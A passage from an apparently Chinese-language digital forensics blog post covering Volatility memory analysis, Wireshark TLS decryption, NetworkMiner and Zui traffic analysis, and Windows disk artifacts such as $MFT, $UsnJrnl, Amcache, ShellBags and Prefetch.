cng.sys              OK: driver.fffff807636e0000.sys</span><br><span class="line">0xfffff80766fa0000 ahcache.sys          OK: driver.fffff80766fa0000.sys</span><br><span class="line">0xfffff80774d90000 vmmemctl.sys         OK: driver.fffff80774d90000.sys</span><br><span class="line">0xfffff80767b10000 msquic.sys           OK: driver.fffff80767b10000.sys</span><br><span class="line">0xfffff807621d0000 cmimcext.sys         OK: driver.fffff807621d0000.sys</span><br><span class="line">0xfffff80766df0000 fastfat.SYS          OK: driver.fffff80766df0000.sys</span><br><span class="line">0xfffff80763400000 clipsp.sys           OK: driver.fffff80763400000.sys</span><br><span class="line">0xfffff807637c0000 SleepStudyHelper.sys OK: driver.fffff807637c0000.sys</span><br><span class="line">0xfffff80764020000 Wof.sys              OK: driver.fffff80764020000.sys</span><br><span class="line">0xfffff80763e70000 ataport.SYS          OK: driver.fffff80763e70000.sys</span><br><span class="line">0xfffff80764a90000 volume.sys           OK: driver.fffff80764a90000.sys</span><br><span class="line">0xfffff807670a0000 HDAudBus.sys         OK: driver.fffff807670a0000.sys</span><br><span class="line">0xfffff807656b0000 filecrypt.sys        OK: driver.fffff807656b0000.sys</span><br><span class="line">0xfffff807638e0000 acpiex.sys           OK: driver.fffff807638e0000.sys</span><br><span class="line">0xfffff80766ef0000 TDI.SYS              OK: driver.fffff80766ef0000.sys</span><br><span class="line">0xfffff8077a4e0000 vmhgfs.sys           OK: driver.fffff8077a4e0000.sys</span><br><span class="line">0xfffff80765b10000 BasicRender.sys      OK: driver.fffff80765b10000.sys</span><br><span class="line">0xfffff80767d50000 mouclass.sys         OK: driver.fffff80767d50000.sys</span><br><span class="line">0xfffff80763d40000 intelide.sys         OK: driver.fffff80763d40000.sys</span><br><span class="line">0xfffffb54a3350000 cdd.dll              Error: Cannot acquire AS</span><br><span class="line">0xfffff80767960000 luafv.sys            OK: driver.fffff80767960000.sys</span><br><span class="line">0xfffff80774c50000 bowser.sys           OK: driver.fffff80774c50000.sys</span><br><span class="line">0xfffff807676e0000 mouhid.sys           OK: driver.fffff807676e0000.sys</span><br><span class="line">0xfffff807677b0000 dump_dumpfve.sys     OK: driver.fffff807677b0000.sys</span><br><span class="line">0xfffff807673d0000 intelppm.sys         OK: driver.fffff807673d0000.sys</span><br><span class="line">0xfffff80765be0000 Msfs.SYS             OK: driver.fffff80765be0000.sys</span><br><span class="line">0xfffff8077a550000 WdFilter.sys         OK: driver.fffff8077a550000.sys</span><br><span class="line">0xfffff80766ff0000 tap0901.sys          OK: driver.fffff80766ff0000.sys</span><br><span class="line">0xfffff80774da0000 srvnet.sys           OK: driver.fffff80774da0000.sys</span><br><span class="line">0xfffff807640d0000 Ntfs.sys             OK: driver.fffff807640d0000.sys</span><br><span class="line">0xfffff80763e40000 mountmgr.sys         OK: driver.fffff80763e40000.sys</span><br><span class="line">0xfffff80767450000 usbhub.sys           OK: driver.fffff80767450000.sys</span><br><span class="line">0xfffff80767a60000 storqosflt.sys       OK: driver.fffff80767a60000.sys</span><br><span class="line">0xfffff80767680000 HIDCLASS.SYS         OK: driver.fffff80767680000.sys</span><br><span class="line">0xfffff80763c90000 spaceport.sys        OK: driver.fffff80763c90000.sys</span><br><span class="line">0xfffff807672a0000 USBXHCI.SYS          OK: driver.fffff807672a0000.sys</span><br><span class="line">0xfffff80766ec0000 tdx.sys              OK: driver.fffff80766ec0000.sys</span><br><span class="line">0xfffff80766ad0000 pacer.sys            OK: driver.fffff80766ad0000.sys</span><br><span class="line">0xfffff80765700000 vmrawdsk.sys         OK: driver.fffff80765700000.sys</span><br><span class="line">0xfffff80767000000 usbuhci.sys          OK: driver.fffff80767000000.sys</span><br><span class="line">0xfffff80763550000 msrpc.sys            Error: Cannot acquire AS</span><br><span class="line">0xfffff80763b60000 pci.sys              OK: driver.fffff80763b60000.sys</span><br><span class="line">0xfffff80767ad0000 mslldp.sys           OK: driver.fffff80767ad0000.sys</span><br><span class="line">0xfffff80767170000 ks.sys               OK: driver.fffff80767170000.sys</span><br><span class="line">0xfffff80766d90000 gpuenergydrv.sys     OK: driver.fffff80766d90000.sys</span><br><span class="line">0xfffff807673a0000 CmBatt.sys           OK: driver.fffff807673a0000.sys</span><br><span class="line">0xfffff807645d0000 ksecpkg.sys          OK: driver.fffff807645d0000.sys</span><br><span class="line">0xfffff80763be0000 vdrvroot.sys         OK: driver.fffff80763be0000.sys</span><br><span class="line">0xfffff807671f0000 usbehci.sys          OK: driver.fffff807671f0000.sys</span><br><span class="line">0xfffff80763800000 Wdf01000.sys         OK: driver.fffff80763800000.sys</span><br><span class="line">0xfffff80764be0000 disk.sys             OK: driver.fffff80764be0000.sys</span><br><span class="line">0xfffff80766d70000 mssmbios.sys         OK: driver.fffff80766d70000.sys</span><br><span class="line">0xfffff80774d40000 mrxsmb20.sys         OK: driver.fffff80774d40000.sys</span><br><span class="line">0xfffff807677d0000 dxgmms1.sys          OK: driver.fffff807677d0000.sys</span><br><span class="line">0xfffff80767d70000 serial.sys           OK: driver.fffff80767d70000.sys</span><br><span class="line">0xfffff80766ab0000 vwififlt.sys         OK: driver.fffff80766ab0000.sys</span><br><span class="line">0xfffff807620c0000 CLFS.SYS             OK: driver.fffff807620c0000.sys</span><br><span class="line">0xfffff807656d0000 tbs.sys              OK: driver.fffff807656d0000.sys</span><br><span class="line">0xfffff80764900000 fwpkclnt.sys         OK: driver.fffff80764900000.sys</span><br><span class="line">0xfffff80766f10000 ws2ifsl.sys          OK: driver.fffff80766f10000.sys</span><br><span class="line">0xfffff80763520000 ksecdd.sys           OK: driver.fffff80763520000.sys</span><br><span class="line">0xfffff80765b30000 Npfs.SYS             OK: driver.fffff80765b30000.sys</span><br><span class="line">0xfffff80767140000 drmk.sys             OK: driver.fffff80767140000.sys</span><br><span class="line">0xfffff80766d60000 npsvctrig.sys        OK: driver.fffff80766d60000.sys</span><br><span class="line">0xfffff80764980000 wfplwfs.sys          OK: driver.fffff80764980000.sys</span><br><span class="line">0xfffff80767d40000 vmmouse.sys          OK: driver.fffff80767d40000.sys</span><br><span class="line">0xfffff807637d0000 WppRecorder.sys      OK: driver.fffff807637d0000.sys</span><br><span class="line">0xfffff80761de0000 mcupdate.dll         OK: driver.fffff80761de0000.sys</span><br><span class="line">0xfffff8077a3f0000 srv2.sys             OK: driver.fffff8077a3f0000.sys</span><br><span class="line">0xfffff80766a00000 afd.sys              OK: driver.fffff80766a00000.sys</span><br><span class="line">0xfffff80763970000 SgrmAgent.sys        OK: driver.fffff80763970000.sys</span><br><span class="line">0xfffff80767620000 usbccgp.sys          OK: driver.fffff80767620000.sys</span><br><span class="line">0xfffff80763c30000 CEA.sys              OK: driver.fffff80763c30000.sys</span><br><span class="line">0xfffff80767700000 vmusbmouse.sys       OK: driver.fffff80767700000.sys</span><br><span class="line">0xfffff80767850000 monitor.sys          OK: driver.fffff80767850000.sys</span><br><span class="line">0xfffff80763e60000 atapi.sys            OK: driver.fffff80763e60000.sys</span><br><span class="line">0xfffff80763a80000 intelpep.sys         OK: driver.fffff80763a80000.sys</span><br><span class="line">0xfffff80762090000 tm.sys               OK: driver.fffff80762090000.sys</span><br><span class="line">0xfffff80766e60000 bam.sys              OK: driver.fffff80766e60000.sys</span><br><span class="line">0xfffffb54a2ee0000 win32kfull.sys       Error: Cannot acquire AS</span><br><span class="line">0xfffff807674f0000 HdAudio.sys          OK: driver.fffff807674f0000.sys</span><br><span class="line">0xfffff80766b00000 ndiscap.sys          OK: driver.fffff80766b00000.sys</span><br><span class="line">0xfffff80765af0000 BasicDisplay.sys     OK: driver.fffff80765af0000.sys</span><br></pre></td></tr></table></figure><p>&#x20;第一個就是ntoskrnl.exe ，把它拿去反編譯之後找到 ObGetObjectType 接下來把前面的8 bytes 的 opcode 記住</p><p><img src="/assets/TvYuVt1MEA0AH8i7s_0FELoY5njlVr0iMo2in0PMfRc=.png"></p><p>接下來用yarascan 把他從記憶體中的位置抓出來 </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">sudo</span> python2.7 vol.py -f ../temp_extract_dir/MemoryDump.mem --profile=Win10x64_19041 yarascan -K -Y <span class="string">&quot;&#123;48 8D 41 D0 0F B6 49 E8&#125;&quot;</span></span><br><span class="line"></span><br><span class="line">Volatility Foundation Volatility Framework 2.6.1</span><br><span class="line">Rule: r1</span><br><span class="line">Owner: ntoskrnl.exe</span><br><span class="line">0xf8076291d470  48 8d 41 d0 0f b6 49 e8 48 c1 e8 08 0f b6 c0 48   H.A...I.H......H</span><br><span class="line">0xf8076291d480  33 c1 0f b6 0d a3 92 5f 00 48 33 c1 48 8d 0d ed   3......_.H3.H...</span><br><span class="line">0xf8076291d490  99 5f 00 48 8b 04 c1 c3 cc cc cc cc cc cc cc cc   ._.H............</span><br><span class="line">0xf8076291d4a0  48 83 ec 58 8a 84 24 a0 00 00 00 c7 44 24 48 01   H..X..$.....D<span class="variable">$H</span>.</span><br><span class="line">0xf8076291d4b0  00 00 00 88 44 24 40 8b 84 24 98 00 00 00 89 44   ....D<span class="variable">$@</span>..$.....D</span><br><span class="line">0xf8076291d4c0  24 38 8b 84 24 90 00 00 00 89 44 24 30 48 8b 84   <span class="variable">$8</span>..$.....D<span class="variable">$0H</span>..</span><br><span class="line">0xf8076291d4d0  24 88 00 00 00 48 89 44 24 28 48 8b 84 24 80 00   $....H.D$(H..$..</span><br><span class="line">0xf8076291d4e0  00 00 48 89 44 24 20 e8 14 00 00 00 48 83 c4 58   ..H.D$......H..X</span><br><span class="line">0xf8076291d4f0  c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc   ................</span><br><span class="line">0xf8076291d500  4c 8b dc 49 89 5b 08 49 89 73 10 4d 89 4b 20 4d   L..I.[.I.s.M.K.M</span><br><span class="line">0xf8076291d510  89 43 18 57 41 54 41 55 41 56 41 57 48 83 ec 70   .C.WATAUAVAWH..p</span><br><span class="line">0xf8076291d520  48 8b da 48 8b f9 45 33 ed 4d 89 6b b0 4d 89 6b   H..H..E3.M.k.M.k</span><br><span class="line">0xf8076291d530  b8 65 48 8b 04 25 88 01 00 00 48 89 44 24 60 44   .eH..%....H.D$`D</span><br><span class="line">0xf8076291d540  8a b8 32 02 00 00 45 84 ff 0f 84 07 94 12 00 49   ..2...E........I</span><br><span class="line">0xf8076291d550  8b 4b 28 48 b8 00 00 ff ff ff 7f 00 00 48 3b c8   .K(H.........H;.</span><br><span class="line">0xf8076291d560  48 0f 43 c8 8b 01 89 01 44 8b a4 24 d0 00 00 00   H.C.....D..$....</span><br></pre></td></tr></table></figure><p>接下來知道 ntoskrnl.exe 的位置在<code>0xf8076291d470</code>後我們就可以寫 script 幫我我們提取ObHeaderCookie</p><p>回去看反編譯出來的ObGetObjectType，我們的目標是<code>movzx   ecx, byte [rel ObHeaderCookie]</code> 這段</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">sudo</span> python2.7 vol.py -f ../temp_extract_dir/MemoryDump.mem --profile=Win10x64_19041 volshell</span><br><span class="line">Volatility Foundation Volatility Framework 2.6.1</span><br><span class="line">Current context: System @ 0xffffad8185883180, pid=4, ppid=0 DTB=0x1ad002</span><br><span class="line">Welcome to volshell! Current memory image is:</span><br><span class="line">file:///home/yunshiuan/temp_extract_dir/MemoryDump.mem</span><br><span class="line">To get <span class="built_in">help</span>, <span class="built_in">type</span> <span class="string">&#x27;hh()&#x27;</span></span><br><span class="line">&gt;&gt;&gt; addr = 0xf8076291d470</span><br><span class="line">&gt;&gt;&gt; <span class="keyword">for</span> m <span class="keyword">in</span> getmods():</span><br><span class="line">...     nt_mod = m</span><br><span class="line">...     <span class="built_in">break</span></span><br><span class="line">...</span><br><span class="line">&gt;&gt;&gt; mode = distorm3.Decode64Bits</span><br><span class="line">&gt;&gt;&gt; data = nt_mod.obj_vm.read(addr, 100)</span><br><span class="line">&gt;&gt;&gt; ops = distorm3.Decompose(addr, data, mode)</span><br><span class="line">&gt;&gt;&gt; <span class="keyword">for</span> op <span class="keyword">in</span> reversed(ops):</span><br><span class="line">...     <span class="keyword">if</span> (op.size == 7 and <span class="string">&#x27;FLAG_RIP_RELATIVE&#x27;</span> <span class="keyword">in</span> op.flags and len(op.operands) == 2 and op.operands[0].<span class="built_in">type</span> == <span class="string">&#x27;Register&#x27;</span> and op.operands[1].<span class="built_in">type</span> == <span class="string">&#x27;AbsoluteMemory&#x27;</span> and op.operands[1].size == 8):</span><br><span class="line">...         addr2 = op.address + op.size + op.operands[1].disp</span><br><span class="line">...</span><br><span class="line">&gt;&gt;&gt; cookie = obj.Object(<span class="string">&quot;unsigned int&quot;</span>, offset = addr2, vm = nt_mod.obj_vm)</span><br><span class="line">&gt;&gt;&gt; hex(cookie)</span><br><span class="line"><span class="string">&#x27;0x9be88324L&#x27;</span></span><br><span class="line">&gt;&gt;&gt; <span class="built_in">exit</span>()</span><br></pre></td></tr></table></figure><p>這個script 簡單來說</p><ul><li>首先先獲取到addr 的第一個函數，那因為我們直接定位的關係，所以這邊nt_mod &#x3D; ObGetObjectType</li><li>接下來分別是設定64 位元反組譯模式、讀取100 位元組的機器碼、進行反組譯得到指令列表</li><li>下一部分是尋找<code>movzx ecx, byte [rel ObHeaderCookie]</code>指令<ul><li><code>op.size == 7</code>：指令長度為 7 位元組</li><li><code>&#39;FLAG_RIP_RELATIVE&#39; in op.flags</code>：使用 RIP相對定址</li><li><code>len(op.operands) == 2</code>：有 2 個運算元</li><li><code>op.operands[0].type== &#39;Register&#39;</code>：第一個運算元是暫存器</li><li><code>op.operands[1].type == &#39;AbsoluteMemory&#39;</code>：第二個運算元是記憶體位址</li><li><code>op.operands[1].size== 8</code>：記憶體運算元大小為 8 位元組</li></ul></li><li>找到後計算ObHeaderCookie的實際記憶體位置<ul><li><code>addr2 = op.address + op.size + op.operands[1].disp</code><ul><li>op.address：指令地址</li><li>op.size：指令大小（7 位元組）</li><li>op.operands[1].disp：RIP 相對位移</li></ul></li></ul></li><li>最後提取cookie 的值</li></ul><p>提取後我們知道cookie 的值為<code>0x9be88324</code>，最後再下一次 psscan 帶上剛剛抓的cookie</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> python2.7 vol.py -f ../temp_extract_dir/MemoryDump.mem --profile=Win10x64_19041 --cookie=0x9be88324 psscan</span><br></pre></td></tr></table></figure><p>發現成功執行</p><p><img src="/assets/itW3xFS6UvPW_Na9YNcMa0hzXSp3BMdpHgJ7ig0oANU=.png"></p><hr><h2 id="Network-Forensics"><a href="#Network-Forensics" class="headerlink" title="Network Forensics"></a>Network Forensics</h2><ul><li><p>wireshark</p><h3 id="解密封包"><a href="#解密封包" class="headerlink" title="解密封包"></a>解密封包</h3><p>  Wireshark 支援可以匯入key ，將加密過後的HTTPS 流量還原成明文</p><p>  因為HTTPS 多了一層SSL&#x2F;TLS，他會將封包進行加密保護傳輸內容不被竊聽</p><p>  解密流程如下：</p><p>  假設我們要分析一個HTTPS網站的登入過程，將加解密的key 先存在一個檔案中</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export SSLKEYLOGFILE=&quot;/home/user/ssl-keys.log&quot;</span><br></pre></td></tr></table></figure><p>  然後再Preferences-&gt; Prorocols 裡面找到TLS ，接下來把剛剛儲存的key 路徑丟進去最底下<code>(Pre)-Master-Screct log filename</code>裡面</p><p>  <img src="/assets/CeYJy0OyLQdOSSNNFOSwGR4xwqu41W5ftRSrnPAi5Lg=.png"></p><p>  另外wireshark 支援的解密為</p><ol><li><strong>SSL&#x2F;TLS解密</strong>：最常見的HTTPS流量解密</li><li><strong>WEP&#x2F;WPA&#x2F;WPA2解密</strong>：WiFi加密流量</li><li><strong>IPsec解密</strong>：VPN流量</li><li><strong>Kerberos解密</strong>：Windows認證流量</li><li><strong>自定義加密</strong>：透過Lua腳本支援</li></ol><h3 id="匯出物件"><a href="#匯出物件" class="headerlink" title="匯出物件"></a>匯出物件</h3><p>  wireshark 提供了可以將封包傳輸的物件(如：圖片、檔案、網頁……) dump 下來的功能</p><p>  <img src="/assets/3ddxe9oKXt86KtV1SU35U9aQ4UFkfBXaD7uXQ3UaAbA=.png"></p><hr></li><li><p>NetworkMiner </p><p>  目前只支援 Windows 作業系統，但是也可以使用其他工具讓它在 Linux 或 Mac 上執行。它可以將 pcap 內的封包拆開、解析、重組，嘗試把裡面的檔案、圖片、郵件、憑證／SSL 證書、使用者帳號密碼等直接還原出來，另外它也可以即時監聽封包並分析</p><p>  <img src="/assets/BJmkNL7Wg-jT87SnETdJ3A595Aq2fIzDb_OTbU6yD3A=.png"></p><p>  但是，NetworkMiner 免費版只能分析 pcap 檔案，如果是 pcapng 格式則需要付費才能分析，付費版本需要 1300 USD </p><blockquote><p>pcapng 也是一種用來儲存網路封包捕捉資料的檔案格式，是舊的 pcap 格式的進化版，它會比 pcap 儲存的資料還要多，可以分析的資訊也越多。目前 Wireshark 從 v1.8 開始，預設就把封包儲存格式改成 pcapng</p></blockquote></li><li><p>Zui </p><ul><li><p>Zui 它的前身是Brim ， 是一款用於網路流量分析的工具，它提供了使用者友善的圖形化介面，可以讓使用者能夠快速分析與視覺化大量網路流量</p><p><img src="/assets/aEB_E59Bb6Ghcjk57wLkzd5kCFR_ATktueWQUMrKugE=.png"></p><p>這個工具裡面整合了兩個網路封包分析工具，分別是Zeek、Suricata，先用 <a href="https://github.com/brimdata/brimcap">brimcap</a> 將 pcap 送到 Zeek&#x2F;Suricata 做 summary&#x2F;log，再在 Zui 內用 correlation view、alert 視窗、或 detail pane 分析事件與原始封包。</p><p>所以只要將pcap 封包丟進去 zeek ，他就會開始進行分析</p><p><img src="/assets/gyCnmYGl_VfYEuqKAOa8TyKLnNYYC6tohyAziYN13Ck=.png"></p><p>分析完後按下<code>Query Pool</code> 就可以看到視覺化的頁面</p><p><img src="/assets/aEB_E59Bb6Ghcjk57wLkzd5kCFR_ATktueWQUMrKugE=.png"></p><p>另外 Zui 使用 Zed（或稱 Zed query &#x2F; SuperSQL）來做過濾與轉換查詢可以更快處理大量資料</p><p>以下分享幾個操作</p><p>首先可以篩選出Suricata 警報</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">event_type</span>==<span class="string">&quot;alert&quot;</span> <span class="comment">#可篩選出 Suricata 警報</span></span><br></pre></td></tr></table></figure><p><img src="/assets/s_W7IAAYyK-10fAyW9KpXLDpZhCSm8jgPMVAQABdehY=.png"></p><p>也有像wireshark 一樣可以篩選 ip scr or ip dst </p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">id</span>.orig_h==<span class="number">100.112.165.2</span> and id.resp_p==<span class="number">53</span> #來源ip = <span class="number">100.112.165.2</span> 目標port = <span class="number">53</span></span><br></pre></td></tr></table></figure><p><img src="/assets/tWu_XB4kP452AJbgpcIQ0vOiRSROoPhmTNH13gBxRPg=.png"></p><p>另外他也可以進行統計與排序</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">count</span>() <span class="keyword">by</span> <span class="built_in">id</span>.resp_p | sort -r  <span class="comment"># 對目標port 進行統計，並降冪排序</span></span><br></pre></td></tr></table></figure><p><img src="/assets/mq6sPm0cAJqgKEiREZUwTYXNAvnegIR2DAfkVtRs4GQ=.png"></p><p>對你想要篩選的資料按右鍵可以自動生成查詢指令</p><p><img src="/assets/T2wzAhndl8-IWt4PObDgOI8JbPrlO9uiPokk5yl27do=.png"></p><p>最後也可以下載官方提供預先寫好的查詢</p><p>連結：[<a href="https://github.com/brimdata/brimcap?tab=readme-ov-file#brimcap-queries">https://github.com/brimdata/brimcap?tab=readme-ov-file#brimcap-queries</a></p><p>](<a href="https://github.com/brimdata/brimcap?tab=readme-ov-file#brimcap-queries)%E4%B8%8B%E8%BC%89%E5%BE%8Cqueries.json">https://github.com/brimdata/brimcap?tab=readme-ov-file#brimcap-queries)下載後queries.json</a> 後按下+的藍色按鈕，點選Import Queries</p><p><img src="/assets/777onBmZHXrrhqyTl2BNjPp328hH_BsS0lh761qK6Aw=.png"></p><p>把剛剛下載的json 檔丟進去，就會匯入預先寫好的query </p><p><img src="/assets/kndUjYMJJCjbP4n4KenQWusY9yA4lv4sKzYL_6Ke0lA=.png"></p></li></ul></li></ul><h2 id="Disk-Forensics"><a href="#Disk-Forensics" class="headerlink" title="Disk Forensics"></a>Disk Forensics</h2><p>winlog 路徑 : <code>C:\Windows\System32\winevt\Logs</code></p><p>Register 路徑 ：<code>C:\Windows\System32</code></p><p>常見 Registry 路徑</p><table><thead><tr><th><strong>Registry 路徑</strong></th><th><strong>說明</strong></th></tr></thead><tbody><tr><td>HKLM\SYSTEM\CurrentControlSet\Services</td><td>系統服務與驅動程式資訊</td></tr><tr><td>HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName</td><td>電腦名稱</td></tr><tr><td>HKLM\SYSTEM\MountedDevices</td><td>磁碟&#x2F;USB 裝置掛載資訊</td></tr><tr><td>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</td><td>系統啟動時自動執行程式</td></tr><tr><td>HKLM\SAM\SAM\Domains\Account\Users</td><td>本機帳號資訊</td></tr></tbody></table><ul><li><p>SAM：儲存本地使用者帳號與群組的資訊，例如使用者名稱、建立時間、最後登入時間。</p><ul><li>Domain 帳號資訊在 Domain Controller 的 NTDS.dit</li></ul></li><li><p>SECURITY：包含使用者帳號的安全相關資訊，例如密碼政策。</p></li><li><p>SOFTWARE：紀錄所有已安裝軟體（包含 Windows 內建與第三方軟體）。</p></li><li><p>SYSTEM：儲存系統層級的組態資訊，例如事件日誌設定、硬體（像是 USB 裝置）相關的設定。</p></li></ul><h3 id="MFT"><a href="#MFT" class="headerlink" title="$MFT"></a>$MFT</h3><p>路徑：<code>&lt;Volume_Root&gt;\$MFT</code></p><p>$MFT 是 NTFS 檔案系統的核心元件，儲存所有檔案和目錄的metadata（如名稱、大小、時間戳、權限等）。<br>由一系列固定大小的檔案記錄組成，每個記錄包含一個檔案或目錄的所有屬性。</p><p>下方圖片是使用 <a href="https://ericzimmerman.github.io/#!index.md">MFT Explorer</a> 把 MFT 內的資料視覺化顯示出來</p><p><img src="/assets/LKoPSOtJbxLBBf-25Wy6a6Pdf2PagV_pacqey3WPJBw=.png"></p><h3 id="UsnJrnl"><a href="#UsnJrnl" class="headerlink" title="$UsnJrnl"></a>$UsnJrnl</h3><p>路徑：<code>&lt;Volume_Root&gt;\$Extend\$UsnJrnl:$J</code></p><p>$UsnJrnl 的主要功能是追蹤 NTFS 上所有文件與目錄的變更。每當文件被創建、修改、刪除、重命名、移動，或其屬性／安全描述符發生變化時，$UsnJrnl 都會記錄一條對應條目。這些條目包括變更類型、發生時間、關聯的 USN（更新序列號）、文件 ID、父目錄 ID、文件名稱、屬性與大小等資訊，但因為紀錄的比較詳細，所以大約只會記錄到1~2天的資訊。</p><p><img src="/assets/cQfi8Udc0DTBsNYPvThawCXqM082PrXrodQAtZ_VH8Q=.png"></p><h3 id="LogFile"><a href="#LogFile" class="headerlink" title="$LogFile"></a>$LogFile</h3><p>路徑：<code>&lt;Volume_Root&gt;\$LogFile</code></p><p>$LogFile 與 $UsnJrnl 紀錄的內容差不多，但是紀錄的是更底層的操作，其功能是作為 NTFS 的 transaction log，記錄對 metadata 所做的各種操作（如 MFT 新增／修改／刪除、目錄索引更新、Bitmap Allocation、$UsnJrnl 本身的更新等）。在進行 metadata 變更前，系統會先將這些交易寫入 $LogFile，以確保即便系統意外中斷，也可利用日誌進行回滾或重做操作，以保持文件系統的一致性與完整性。</p><p><img src="/assets/0rdT1ORbwNlebwEt7OXnRopij-tFJVEr5PXan4DQRoA=.png"></p><h3 id="I30"><a href="#I30" class="headerlink" title="$I30"></a>$I30</h3><p>在 NTFS 檔案系統中，每一個 Directory 都維護一個 Index，用來快速查找該目錄下的檔案與子目錄，當目錄內容改變 (如新增、刪除、重命名) 時，對應的 index entry 也會被修改或標記為已刪除 (Flags 欄位)，因為是標記的關係，所以可以在<code>$I30</code> 中找到被刪除的檔案。</p><p><img src="/assets/CGFDolSOV19jk_scmOtNOnpFMABkF3YeLx_g2mG76Lw=.png"></p><h3 id="Amcache-hve"><a href="#Amcache-hve" class="headerlink" title="Amcache.hve"></a>Amcache.hve</h3><p>路徑位置：<code>%WinDir%\AppCompat\Programs\Amcache.hve</code></p><p><img src="/assets/Ybc_QgFK9UsOKi7pW8blJhLBDXDmoh5zkDgOjPsqhkw=.png"></p><p>自 Windows 8 起引入，記錄了已執行應用程式的詳細資訊，包括檔案路徑、SHA-1 雜湊值、時間戳記等。</p><p><strong>若惡意程式本體被刪除或遭清除，無法從映像直接看到該檔案本身時</strong>，可以透過 Amcache 的記錄去驗證是否存在</p><h3 id="NTUSER-DAT"><a href="#NTUSER-DAT" class="headerlink" title="NTUSER.DAT"></a>NTUSER.DAT</h3><p>路徑位置：<code>C:\Users\&lt;username&gt;\NTUSER.DAT</code></p><p><img src="/assets/HbBDSu1lraXx3pIgsNxHGOqZHdhNnyuWDrcCEMR8-1A=.png"></p><p>NTUSER.DAT 是 Windows 每個使用者帳戶在其使用者設定檔底下的一個檔案，用來儲存與該帳戶相關的 Registry 設定與使用者偏好，在使用者登入時，系統會將這個檔案對應到註冊表的 HKEY_CURRENT_USER（HKCU） 分支，讓該使用者的作業與應用程式可以讀寫其個人設定；在登出或關機時，這些變更會回寫到 NTUSER.DAT。</p><p>可以直接用 <a href="https://ericzimmerman.github.io/#!index.md">RegistryExplorer</a> 查看。</p><p><img src="/assets/RIvMLfCdh5rrb81bTPyBEaPuSO1d-zFoxpUOjAMwYo8=.png"></p><p>這邊重點提兩個比較特別的 key</p><h3 id="UserAssist"><a href="#UserAssist" class="headerlink" title="UserAssist"></a>UserAssist</h3><p>key 路徑：<code>Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\&#123;GUID&#125;\Count</code></p><p>UserAssist 是 Windows 用來追蹤使用者透過圖形介面啟動應用程式或捷徑的統計記錄機制，裡面會包含程式的執行次數、最後執行時間、<strong>Focus Count、Focus Time</strong></p><p><img src="/assets/EX1XBHpXaNJ2rj-3d0M_GUZyaVjDpWQwmaKNE1NvYuY=.png"></p><h3 id="ShellBags"><a href="#ShellBags" class="headerlink" title="ShellBags"></a>ShellBags</h3><p>ShellBags 是 Windows 用於記錄使用者在檔案總管中瀏覽<strong>資料夾</strong>時的設定偏好與檔案夾訪問紀錄，包括資料夾的視窗配置 &#x2F; 檢視樣式 &#x2F; 排列方式 &#x2F; 大小 &#x2F; 位置等，代表如有刪除或存取資料夾的操作會被記錄在 ShellBags 當中。</p><p>它會依照作業系統存在不同地方</p><ul><li><code>&lt;NTUSER.DAT&gt;\Software\Microsoft\Windows\Shell\BagMRU </code></li><li><code>&lt;NTUSER.DAT&gt;\Software\Microsoft\Windows\Shell\Bags</code></li><li>在較新 Windows 版本（如 Windows 7 之後），部分 ShellBags 資料會存於 <code>C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Windows\UsrClass.dat</code></li><li>在某些 Windows 版本或使用者設定中，部分 ShellBags 條目只存在於 UsrClass.dat 而非 NTUSER.DAT</li></ul><p><img src="/assets/pnKEJ4vqw21ZBolGw34xhCg7XGai0iP7POjOr8NtI2I=.png"></p><p>如果直接使用 RegistryExplorer 會很難閱讀，建議使用 Eric Zimmerman’s tools 中的 ShellBags Explorer 查看</p><h3 id="Prefetch"><a href="#Prefetch" class="headerlink" title="Prefetch"></a>Prefetch</h3><p>位置：<code>%WinDir%\prefetch</code></p><p>Prefetch（.pf）是 Windows 為了加速程式啟動而維護的快取檔案。系統會在 <code>%WinDir%\prefetch</code> 路徑下為執行過的可執行檔建立 .pf 檔，裡面包含：</p><ol><li><strong>執行時間戳</strong>：Windows 8 以後的 Prefetch 能記錄多達 8 個執行時間點，可用來建立事件時間線，另外 Prefetch 的時間戳在精確到秒時通常要減掉 10 秒，在做精細時間對帳時要留意此差異，<a href="https://www.thedfirspot.com/post/artifacts-of-execution-i-know-what-you-did-last-incident?utm_source=chatqpt.com">參考網址</a>。 </li><li><strong>Run count</strong>：表示該程式被執行了多少次。 </li><li><strong>可執行檔名稱與路徑</strong>：指出實際被執行的檔案與來源路徑，對判斷惡意軟體的落點很重要。 </li><li><strong>程式啟動時存取過的檔案清單</strong>：有時會列出其他被呼叫或載入的 DLL、路徑，可用來找出程式的行為鏈，例如開啟哪些檔。 </li><li><strong>volume &#x2F; system 